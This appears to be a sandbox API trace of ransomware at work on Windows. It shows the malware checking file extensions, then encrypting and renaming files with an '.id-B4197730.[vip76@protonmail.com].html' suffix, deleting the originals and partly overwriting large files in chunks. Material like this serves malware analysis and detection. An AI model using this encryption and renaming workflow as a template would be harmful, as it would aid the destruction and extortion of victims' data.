	[0064.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0x20
	[0064.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0064.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0064.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 76
	[0064.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 76
	[0064.506] lstrlenW (lpString=".doc") returned 4
	[0064.506] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0064.506] lstrlenW (lpString=".docx") returned 5
	[0064.506] lstrcmpiW (lpString1=".docx", lpString2="e.htm") returned -1
	[0064.506] lstrlenW (lpString=".pdf") returned 4
	[0064.506] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0064.507] lstrlenW (lpString=".xls") returned 4
	[0064.507] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0064.507] lstrlenW (lpString=".xlsx") returned 5
	[0064.507] lstrcmpiW (lpString1=".xlsx", lpString2="e.htm") returned -1
	[0064.507] lstrlenW (lpString=".ppt") returned 4
	[0064.507] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0064.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 76
	[0064.507] lstrlenW (lpString=".zip") returned 4
	[0064.507] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0064.507] lstrlenW (lpString=".rar") returned 4
	[0064.507] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0064.507] lstrlenW (lpString=".bz2") returned 4
	[0064.507] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0064.507] lstrlenW (lpString=".7z") returned 3
	[0064.507] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0064.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 76
	[0064.507] lstrlenW (lpString=".dbf") returned 4
	[0064.507] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0064.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 76
	[0064.507] lstrlenW (lpString=".1cd") returned 4
	[0064.507] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0064.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 76
	[0064.507] lstrlenW (lpString=".jpg") returned 4
	[0064.507] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0064.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 76
	[0064.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 76
	[0064.507] lstrlenW (lpString=".doc") returned 4
	[0064.507] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0064.507] lstrlenW (lpString=".docx") returned 5
	[0064.507] lstrcmpiW (lpString1=".docx", lpString2="e.htm") returned -1
	[0064.508] lstrlenW (lpString=".pdf") returned 4
	[0064.508] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0064.508] lstrlenW (lpString=".xls") returned 4
	[0064.508] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0064.508] lstrlenW (lpString=".xlsx") returned 5
	[0064.508] lstrcmpiW (lpString1=".xlsx", lpString2="e.htm") returned -1
	[0064.508] lstrlenW (lpString=".ppt") returned 4
	[0064.508] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0064.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 76
	[0064.508] lstrlenW (lpString=".zip") returned 4
	[0064.508] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0064.508] lstrlenW (lpString=".rar") returned 4
	[0064.508] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0064.508] lstrlenW (lpString=".bz2") returned 4
	[0064.508] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0064.508] lstrlenW (lpString=".7z") returned 3
	[0064.508] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0064.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 76
	[0064.508] lstrlenW (lpString=".dbf") returned 4
	[0064.508] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0064.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 76
	[0064.508] lstrlenW (lpString=".1cd") returned 4
	[0064.508] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0064.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 76
	[0064.508] lstrlenW (lpString=".jpg") returned 4
	[0064.508] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0064.508] lstrcmpiW (lpString1=".jpg", lpString2=".html") returned 1
	[0064.508] lstrlenW (lpString="Stars.jpg") returned 9
	[0064.509] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0065.246] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=7505) returned 1
	[0065.246] CloseHandle (hObject=0x358) returned 1
	[0065.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0x20
	[0065.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.520] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0065.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0065.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0065.521] lstrlenW (lpString=".doc") returned 4
	[0065.521] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0065.521] lstrlenW (lpString=".docx") returned 5
	[0065.521] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0065.521] lstrlenW (lpString=".pdf") returned 4
	[0065.521] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0065.521] lstrlenW (lpString=".xls") returned 4
	[0065.521] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0065.521] lstrlenW (lpString=".xlsx") returned 5
	[0065.521] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0065.521] lstrlenW (lpString=".ppt") returned 4
	[0065.521] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0065.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0065.521] lstrlenW (lpString=".zip") returned 4
	[0065.521] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0065.521] lstrlenW (lpString=".rar") returned 4
	[0065.522] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0065.522] lstrlenW (lpString=".bz2") returned 4
	[0065.522] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0065.522] lstrlenW (lpString=".7z") returned 3
	[0065.522] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0065.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0065.522] lstrlenW (lpString=".dbf") returned 4
	[0065.522] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0065.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0065.522] lstrlenW (lpString=".1cd") returned 4
	[0065.522] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0065.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0065.522] lstrlenW (lpString=".jpg") returned 4
	[0065.522] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0065.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0065.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0065.522] lstrlenW (lpString=".doc") returned 4
	[0065.522] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0065.522] lstrlenW (lpString=".docx") returned 5
	[0065.522] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0065.522] lstrlenW (lpString=".pdf") returned 4
	[0065.522] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0065.522] lstrlenW (lpString=".xls") returned 4
	[0065.522] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0065.522] lstrlenW (lpString=".xlsx") returned 5
	[0065.522] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0065.522] lstrlenW (lpString=".ppt") returned 4
	[0065.522] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0065.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0065.522] lstrlenW (lpString=".zip") returned 4
	[0065.522] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0065.522] lstrlenW (lpString=".rar") returned 4
	[0065.523] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0065.523] lstrlenW (lpString=".bz2") returned 4
	[0065.523] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0065.523] lstrlenW (lpString=".7z") returned 3
	[0065.523] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0065.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0065.523] lstrlenW (lpString=".dbf") returned 4
	[0065.523] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0065.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0065.523] lstrlenW (lpString=".1cd") returned 4
	[0065.523] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0065.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0065.523] lstrlenW (lpString=".jpg") returned 4
	[0065.523] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0065.523] lstrcmpiW (lpString1=".txt", lpString2=".html") returned 1
	[0065.523] lstrlenW (lpString="README.txt") returned 10
	[0065.523] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0065.530] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=46) returned 1
	[0065.531] CloseHandle (hObject=0x338) returned 1
	[0065.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 0x20
	[0065.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.549] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0065.549] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.549] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.549] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0065.551] GetLastError () returned 0x0
	[0065.551] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x2e, lpOverlapped=0x0) returned 1
	[0065.552] WriteFile (in: hFile=0x320, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x30, lpOverlapped=0x0) returned 1
	[0065.553] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.553] WriteFile (in: hFile=0x320, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0065.553] SetEndOfFile (hFile=0x320) returned 1
	[0065.553] CloseHandle (hObject=0x320) returned 1
	[0065.554] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.554] SetEndOfFile (hFile=0x328) returned 1
	[0065.555] CloseHandle (hObject=0x328) returned 1
	[0065.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0065.555] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 1
	[0065.559] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0065.559] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0065.559] lstrlenW (lpString=".doc") returned 4
	[0065.559] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0065.559] lstrlenW (lpString=".docx") returned 5
	[0065.559] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1
	[0065.559] lstrlenW (lpString=".pdf") returned 4
	[0065.559] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0065.560] lstrlenW (lpString=".xls") returned 4
	[0065.560] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0065.560] lstrlenW (lpString=".xlsx") returned 5
	[0065.560] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1
	[0065.560] lstrlenW (lpString=".ppt") returned 4
	[0065.560] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0065.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0065.560] lstrlenW (lpString=".zip") returned 4
	[0065.560] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0065.560] lstrlenW (lpString=".rar") returned 4
	[0065.560] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0065.560] lstrlenW (lpString=".bz2") returned 4
	[0065.560] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0065.560] lstrlenW (lpString=".7z") returned 3
	[0065.560] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0065.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0065.560] lstrlenW (lpString=".dbf") returned 4
	[0065.560] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0065.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0065.560] lstrlenW (lpString=".1cd") returned 4
	[0065.560] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0065.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0065.560] lstrlenW (lpString=".jpg") returned 4
	[0065.560] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0065.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0065.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0065.560] lstrlenW (lpString=".doc") returned 4
	[0065.560] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0065.560] lstrlenW (lpString=".docx") returned 5
	[0065.560] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1
	[0065.560] lstrlenW (lpString=".pdf") returned 4
	[0065.560] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0065.561] lstrlenW (lpString=".xls") returned 4
	[0065.561] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0065.561] lstrlenW (lpString=".xlsx") returned 5
	[0065.561] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1
	[0065.561] lstrlenW (lpString=".ppt") returned 4
	[0065.561] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0065.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0065.561] lstrlenW (lpString=".zip") returned 4
	[0065.561] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0065.561] lstrlenW (lpString=".rar") returned 4
	[0065.561] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0065.561] lstrlenW (lpString=".bz2") returned 4
	[0065.561] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0065.561] lstrlenW (lpString=".7z") returned 3
	[0065.561] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0065.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0065.561] lstrlenW (lpString=".dbf") returned 4
	[0065.561] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0065.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0065.561] lstrlenW (lpString=".1cd") returned 4
	[0065.561] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0065.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0065.561] lstrlenW (lpString=".jpg") returned 4
	[0065.561] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0065.561] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0065.561] lstrlenW (lpString="AppXManifest.xml") returned 16
	[0065.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0065.562] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=5944055) returned 1
	[0065.562] CloseHandle (hObject=0x320) returned 1
	[0065.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml")) returned 0x20
	[0065.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.562] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0065.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0065.563] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fc64 | out: lpNewFilePointer=0x0) returned 1
	[0065.563] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fc24 | out: lpNewFilePointer=0x0) returned 1
	[0065.563] ReadFile (in: hFile=0x320, lpBuffer=0x4124058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x375fc30, lpOverlapped=0x0 | out: lpBuffer=0x4124058*, lpNumberOfBytesRead=0x375fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0065.566] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x375fc24 | out: lpNewFilePointer=0x0) returned 1
	[0065.566] ReadFile (in: hFile=0x320, lpBuffer=0x4164058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x375fc30, lpOverlapped=0x0 | out: lpBuffer=0x4164058*, lpNumberOfBytesRead=0x375fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0065.572] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x375fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0065.572] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x375fc24 | out: lpNewFilePointer=0x0) returned 1
	[0065.572] ReadFile (in: hFile=0x320, lpBuffer=0x41a4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x375fc30, lpOverlapped=0x0 | out: lpBuffer=0x41a4058*, lpNumberOfBytesRead=0x375fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0065.588] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.588] WriteFile (in: hFile=0x320, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x375fca8, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fca8*=0xc010c, lpOverlapped=0x0) returned 1
	[0066.038] SetEndOfFile (hFile=0x320) returned 1
	[0066.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x435d630
	[0066.044] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fc74 | out: lpNewFilePointer=0x0) returned 1
	[0066.044] WriteFile (in: hFile=0x320, lpBuffer=0x435d630*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x375fc80, lpOverlapped=0x0 | out: lpBuffer=0x435d630*, lpNumberOfBytesWritten=0x375fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0066.045] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x375fc74 | out: lpNewFilePointer=0x0) returned 1
	[0066.045] WriteFile (in: hFile=0x320, lpBuffer=0x435d630*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x375fc80, lpOverlapped=0x0 | out: lpBuffer=0x435d630*, lpNumberOfBytesWritten=0x375fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0066.051] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x375fc74 | out: lpNewFilePointer=0x0) returned 1
	[0066.051] WriteFile (in: hFile=0x320, lpBuffer=0x435d630*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x375fc80, lpOverlapped=0x0 | out: lpBuffer=0x435d630*, lpNumberOfBytesWritten=0x375fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0066.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0066.053] CloseHandle (hObject=0x320) returned 1
	[0069.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0069.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0069.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0069.314] lstrlenW (lpString=".doc") returned 4
	[0069.314] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0069.314] lstrlenW (lpString=".docx") returned 5
	[0069.314] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0069.314] lstrlenW (lpString=".pdf") returned 4
	[0069.314] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0069.314] lstrlenW (lpString=".xls") returned 4
	[0069.314] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0069.314] lstrlenW (lpString=".xlsx") returned 5
	[0069.314] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0069.314] lstrlenW (lpString=".ppt") returned 4
	[0069.314] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0069.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0069.314] lstrlenW (lpString=".zip") returned 4
	[0069.314] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0069.314] lstrlenW (lpString=".rar") returned 4
	[0069.314] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0069.314] lstrlenW (lpString=".bz2") returned 4
	[0069.314] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0069.314] lstrlenW (lpString=".7z") returned 3
	[0069.314] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0069.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0069.314] lstrlenW (lpString=".dbf") returned 4
	[0069.314] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0069.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
